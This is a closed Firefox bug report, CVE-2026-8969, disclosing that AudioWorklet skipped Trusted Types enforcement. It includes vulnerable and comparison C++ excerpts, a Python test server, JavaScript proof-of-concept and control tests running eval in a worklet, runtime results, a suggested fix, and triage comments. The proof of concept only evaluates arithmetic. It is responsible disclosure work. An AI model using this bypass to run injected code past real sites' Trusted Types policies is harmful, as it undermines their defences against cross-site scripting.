Closed Bug 2031123 (CVE-2026-8969) Opened 6 months ago Closed 5 months ago

AudioWorklet missing Trusted Types enforcement

Categories

(Core :: DOM: Security, defect)

defect

Tracking

()

RESOLVED FIXED
151 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- unaffected
firefox149 --- unaffected
firefox150 --- wontfix
firefox151 --- fixed

People

(Reporter: atsu120225, Assigned: tschuster)

References

(Blocks 1 open bug, Regression)

Details

(4 keywords, Whiteboard: [client-bounty-form][adv-main151+])

Attachments

(7 files)

Summary

AudioWorklet's JSSecurityCallbacks registration in WorkletThread.cpp is missing two security layers that Worker has (RuntimeService.cpp)

  1. Trusted Types enforcement: The HostGetCodeForEval callback is NULL in Worklet's SecurityCallbacks struct (line 401), while Worker registers TrustedTypeUtils::HostGetCodeForEval (line 777-778). A page deploying require-trusted-types-for 'script' CSP has Trusted Types enforced in Workers but completely bypassed in AudioWorklets. This is reachable from web content.

  2. IsEvalAllowed defense-in-depth: nsContentSecurityUtils::IsEvalAllowed() is called in Worker (line 542, Bug 1583949 fix) but not in Worklet. Note: WorkletImpl uses NullPrincipal (WorkletImpl.cpp:43), so IsEvalAllowed would return true regardless. This is a code hygiene gap, not directly exploitable via the eval restriction.

The Trusted Types gap enables web content to use AudioWorklet as an eval sink that bypasses Trusted Types policy, undermining the CSP require-trusted-types-for 'script' directive

Affected Component

  • Product: Core
  • Component: DOM: Workers
  • Version: Trunk (mozilla-central rev 77e8893f7ede)

Mitigation Being Bypassed

  • Primary: Trusted Types enforcement (require-trusted-types-for 'script' CSP directive). Worker enforces Trusted Types via TrustedTypeUtils::HostGetCodeForEval in JSSecurityCallbacks. Worklet's SecurityCallbacks has this slot as NULL — Trusted Types is not enforced at all.
  • Secondary: eval() Restriction (Target 4 on Mozilla's Exploit Mitigation Bypass list). nsContentSecurityUtils::IsEvalAllowed() is called in Worker (Bug 1583949) but not in Worklet. Defense-in-depth only: WorkletImpl uses NullPrincipal so IsEvalAllowed would return true regardless.
  • Normal enforcement: eval() in Worker goes through HostGetCodeForEval (Trusted Types) + IsEvalAllowed() (privilege check) + CSP eval check. Worklet only goes through CSP eval check.
  • Bypass path: Web content creates AudioWorklet on a page with require-trusted-types-for 'script' CSP; eval inside the worklet bypasses Trusted Types entirely. No privileged access needed.

Vulnerable Code

File: dom/worklet/WorkletThread.cpp, lines 362–401

namespace {
bool ContentSecurityPolicyAllows(
    JSContext* aCx, JS::RuntimeCode aKind, JS::Handle<JSString*> aCodeString,
    JS::CompilationType aCompilationType,
    JS::Handle<JS::StackGCVector<JSString*>> aParameterStrings,
    JS::Handle<JSString*> aBodyString,
    JS::Handle<JS::StackGCVector<JS::Value>> aParameterArgs,
    JS::Handle<JS::Value> aBodyArg, bool* aOutCanCompileStrings) {
  WorkletThread::AssertIsOnWorkletThread();
  // ...get impl (lines 371-384)...

  // Line 386-387: defaults to true, then checks only CSP
  *aOutCanCompileStrings = true;
  bool reportViolation = false;
  if (OffThreadCSPContext* ctx = impl->GetCSPContext()) {
    if (aKind == JS::RuntimeCode::JS) {
      *aOutCanCompileStrings = ctx->IsEvalAllowed(reportViolation);
    } else {
      *aOutCanCompileStrings = ctx->IsWasmEvalAllowed(reportViolation);
    }
  }
  // nsContentSecurityUtils::IsEvalAllowed() is never called
  return true;
}

const JSSecurityCallbacks SecurityCallbacks = {ContentSecurityPolicyAllows};
}  // namespace

When no CSP is attached (common for AudioWorklets created from chrome JS), *aOutCanCompileStrings remains true and eval() runs unconditionally.

Secure Code for Comparison — Worker

File: dom/workers/RuntimeService.cpp, lines 507–550

MOZ_CAN_RUN_SCRIPT_FOR_DEFINITION bool ContentSecurityPolicyAllows(
    JSContext* aCx, JS::RuntimeCode aKind, ..., bool* aOutCanCompileStrings) {
  WorkerPrivate* worker = GetWorkerPrivateFromContext(aCx);
  // ...
  if (aKind == JS::RuntimeCode::JS) {
    // ...TrustedTypes check...

    // Lines 542-546: Bug 1583949 fix — global privilege-level gate
    if (!nsContentSecurityUtils::IsEvalAllowed(
            aCx, worker->UsesSystemPrincipal(), scriptSample)) {
      *aOutCanCompileStrings = false;
      return true;
    }

    // THEN CSP check
    if (OffThreadCSPContext* ctx = worker->GetCSPContext()) {
      evalOK = ctx->IsEvalAllowed(reportViolation);
    }
  }
}

The Worker enforces the privilege-level check before reaching the CSP check. The Worklet does not.

Steps to Reproduce (Runtime-verified on Firefox 151.0a1)

Method: Trusted Types bypass from web content (no privileged access needed)

  1. Start a local HTTP server that sets the Trusted Types CSP header
python3 -c "
import http.server, functools
handler = functools.partial(http.server.SimpleHTTPRequestHandler, directory='.')
class H(handler):
    def end_headers(self):
        self.send_header('Content-Security-Policy',
          \"script-src 'self' 'unsafe-inline' 'unsafe-eval' blob:; worker-src 'self' blob:; require-trusted-types-for 'script'; trusted-types testpolicy\")
        super().end_headers()
http.server.HTTPServer(('', 8888), H).serve_forever()
"

Note: 'unsafe-eval' is intentionally included — sites deploying Trusted Types use this because TT replaces CSP's blunt eval blocking with fine-grained policy control.

  1. Open Firefox Nightly and navigate to http://localhost:8888/poc-trustedtypes-bypass.html (attached)

  2. Open Web Console (F12) and observe

Worker eval:       BLOCKED:EvalError:call to eval() blocked by CSP
AudioWorklet eval: ALLOWED:2
AudioWorklet func: ALLOWED:6
AudioWorklet blob: ALLOWED:14
  1. The Worker correctly blocks eval() via Trusted Types (HostGetCodeForEval). The AudioWorklet executes eval(), new Function(), and eval via blob URL — all without Trusted Types enforcement.

Alternative: Browser Toolbox method

  1. Open Browser Toolbox and run
(async () => {
  let audioCtx = new AudioContext();
  let code = `
    class EvalTestProcessor extends AudioWorkletProcessor {
      constructor() {
        super();
        try {
          let result = eval("1 + 1");
          this.port.postMessage({ bypassed: true, evalResult: result });
        } catch (e) {
          this.port.postMessage({ bypassed: false, error: e.toString() });
        }
      }
      process() { return true; }
    }
    registerProcessor('eval-test', EvalTestProcessor);
  `;
  let blob = new Blob([code], { type: 'application/javascript' });
  await audioCtx.audioWorklet.addModule(URL.createObjectURL(blob));
  let node = new AudioWorkletNode(audioCtx, 'eval-test');
  node.port.onmessage = (e) => console.log("RESULT:", JSON.stringify(e.data));
  node.port.start();
})();

5.Observe: { "bypassed": true, "evalResult": 2 } — eval executes in the Worklet.

  1. Control test — Worker eval is correctly blocked in the same System Principal context:
let w = new Worker(URL.createObjectURL(
  new Blob([`try { postMessage({r:eval("1+1")}); } catch(e) { postMessage({e:e+""}); }`],
  {type:'application/javascript'})
));
w.onmessage = e => console.log("WORKER:", JSON.stringify(e.data));
  1. Observe: Worker eval is blocked with a SecurityError — confirming the mitigation works for Workers and is absent for Worklets

Root Cause Analysis

WorkletThread.cpp registers ContentSecurityPolicyAllows as the JSSecurityCallbacks.contentSecurityPolicyAllows callback (line 401, assigned at line 426 via JS_SetSecurityCallbacks). This function defaults *aOutCanCompileStrings = true and then checks only OffThreadCSPContext::IsEvalAllowed().

nsContentSecurityUtils::IsEvalAllowed() — the function that enforces the System Principal / parent process eval prohibition — is never called.

WorkletImpl::IsSystemPrincipal() exists at dom/worklet/WorkletImpl.h:88 and returns mPrincipal->IsSystemPrincipal(), confirming Worklets can carry a System Principal. The Worklet thread has no mechanism to interrogate this flag at eval time.

Bug 1583949 (2019) identified and fixed the same gap in Worker threads. The fix landed in RuntimeService.cpp. The equivalent Worklet code was not updated.

Security Impact

  • Primary gap: Trusted Types bypass — require-trusted-types-for 'script' CSP is enforced in Worker but NOT in AudioWorklet. Any page using Trusted Types as a defense can be bypassed by moving eval/Function calls into an AudioWorklet.
  • Secondary gap: IsEvalAllowed() not called (defense-in-depth, not directly exploitable due to NullPrincipal)
  • Affected methods: ALL dynamic code execution via JSSecurityCallbacks path — eval(), new Function(), setTimeout("string"), setInterval("string"). All four bypass Trusted Types in Worklet context.
  • Reachable from: Web content — any page that creates an AudioWorklet. No privileged access needed.
  • Impact: Trusted Types policy intended to prevent DOM XSS sinks is undermined. An attacker who can inject code into an AudioWorklet context bypasses the Trusted Types safety net.
  • CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5 Medium
  • Bounty qualification: Exploit Mitigation Bypass (eval restriction / Trusted Types enforcement gap). The Trusted Types gap is reachable from web content without privileged access, which may qualify for bounty bonus.

Suggested Fix

Two changes needed in dom/worklet/WorkletThread.cpp

Fix 1: Add Trusted Types callback to JSSecurityCallbacks

// BEFORE (line 401):
const JSSecurityCallbacks SecurityCallbacks = {ContentSecurityPolicyAllows};

// AFTER
const JSSecurityCallbacks SecurityCallbacks = {
    ContentSecurityPolicyAllows, TrustedTypeUtils::HostGetCodeForEval};

This requires #include "mozilla/dom/TrustedTypeUtils.h" at the top of the file.

Fix 2: Add IsEvalAllowed + TrustedTypes check to ContentSecurityPolicyAllows body

Mirror RuntimeService.cpp lines 526-546: add TrustedTypeUtils::AreArgumentsTrustedForEnsureCSPDoesNotBlockStringCompilation() and nsContentSecurityUtils::IsEvalAllowed() calls before the CSP check.

// Insert after line 384 (after getting impl), before *aOutCanCompileStrings = true:
if (aKind == JS::RuntimeCode::JS) {
  nsAutoJSString scriptSample;
  if (NS_WARN_IF(!scriptSample.init(aCx, aCodeString))) {
    return false;
  }
  if (!nsContentSecurityUtils::IsEvalAllowed(
          aCx, impl->IsSystemPrincipal(), scriptSample)) {
    *aOutCanCompileStrings = false;
    return true;
  }
}

Runtime Verification Results

Tested on Firefox 151.0a1 (debug build, rev 77e8893f7ede), dom.security.trusted_types.enabled = true (default).

CSP: script-src 'self' 'unsafe-inline' 'unsafe-eval' blob:; worker-src 'self' blob:; require-trusted-types-for 'script'; trusted-types testpolicy

Context eval("1+1") new Function("return 3+3")() eval via blob URL
Worker BLOCKED (EvalError: blocked by CSP) — —
AudioWorklet ALLOWED → 2 ALLOWED → 6 ALLOWED → 14

Note: 'unsafe-eval' is intentionally included in the CSP because sites deploying Trusted Types use this configuration — TT replaces CSP's blunt eval blocking with fine-grained policy control. The test isolates the Trusted Types enforcement layer.

Historical Parallel

Bug Year Gap Fix location
Bug 1583949 2019 Worker threads skipped IsEvalAllowed() dom/workers/RuntimeService.cpp:542
This bug 2026 Worklet threads skip IsEvalAllowed() + HostGetCodeForEval dom/worklet/WorkletThread.cpp:401 (fix needed)

Attachments

  • poc-trustedtypes-bypass.html — Web content PoC (serve with CSP header, open in Firefox)
  • poc-worklet-eval.js — Browser Toolbox PoC
  • control-worker-eval.js — Control test (Worker eval blocked)
  • runtime-results.txt — Full runtime verification output
  • source-evidence-definitive.txt — Source-level diff

Discovery Method

Source code analysis comparing the JSSecurityCallbacks implementations between Workers (dom/workers/RuntimeService.cpp) and Worklets (dom/worklet/WorkletThread.cpp). Cross-referenced against Bug 1583949's patch to identify contexts where the fix was not propagated. Analysis performed as part of J-1a Static Analysis Bounty work auditing IPC-adjacent privilege handling in ContentParent.cpp.

Flags: sec-bounty?
Attached file poc-worklet-eval.js —
Attached file control-worker-eval.js —
Attached file runtime-results.txt —
Group: firefox-core-security → dom-core-security
Component: Security → DOM: Security
Product: Firefox → Core
Assignee: nobody → tschuster
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true

FWIW, specs doesn't say anything about TT applying to worklets.

Attached file (secure) —

I don't think we need to worry about nsContentUtils::IsEvalAllowed. Worklets are not an interesting target to exploit.

Summary: AudioWorklet missing Trusted Types enforcement + IsEvalAllowed parity gap → AudioWorklet missing Trusted Types enforcement
Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 5 months ago
Keywords: regression
Regressed by: CVE-2026-6774
Resolution: --- → FIXED
Target Milestone: --- → 151 Branch

Thanks for the fast turnaround.

Will this be included in a future MFSA advisory?

Flags: sec-bounty? → sec-bounty-
Flags: sec-bounty- → sec-bounty+

Will this be included in a future MFSA advisory?

yes, it should be.

QA Whiteboard: [qa-triage-done-c152/b151][sec]
Whiteboard: [client-bounty-form] → [client-bounty-form][adv-main151+][adv-esr115.36+][adv-esr140.11+]
Whiteboard: [client-bounty-form][adv-main151+][adv-esr115.36+][adv-esr140.11+] → [client-bounty-form][adv-main151+]
Alias: CVE-2026-8969
Attached file (secure) —

A patch has been attached on this bug, which was already closed. Filing a separate bug will ensure better tracking. If this was not by mistake and further action is needed, please alert the appropriate party. (Or: if the patch doesn't change behavior -- e.g. landing a test case, or fixing a typo -- then feel free to disregard this message)

Landing a follow-up patch on a bug which has been closed for 2 months now makes tracking more difficult than it needs to be. What if anything should we do for backports of this fix?

Flags: needinfo?(tschuster)

There is nothing to do, I just landed a test for this.

Flags: needinfo?(tschuster)
Group: core-security-release

Could you tell me how to verify whether the vulnerability reward was properly processed?

Flags: needinfo?(tschuster)

For bounty questions please email security@mozilla.org.

Flags: needinfo?(tschuster)
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: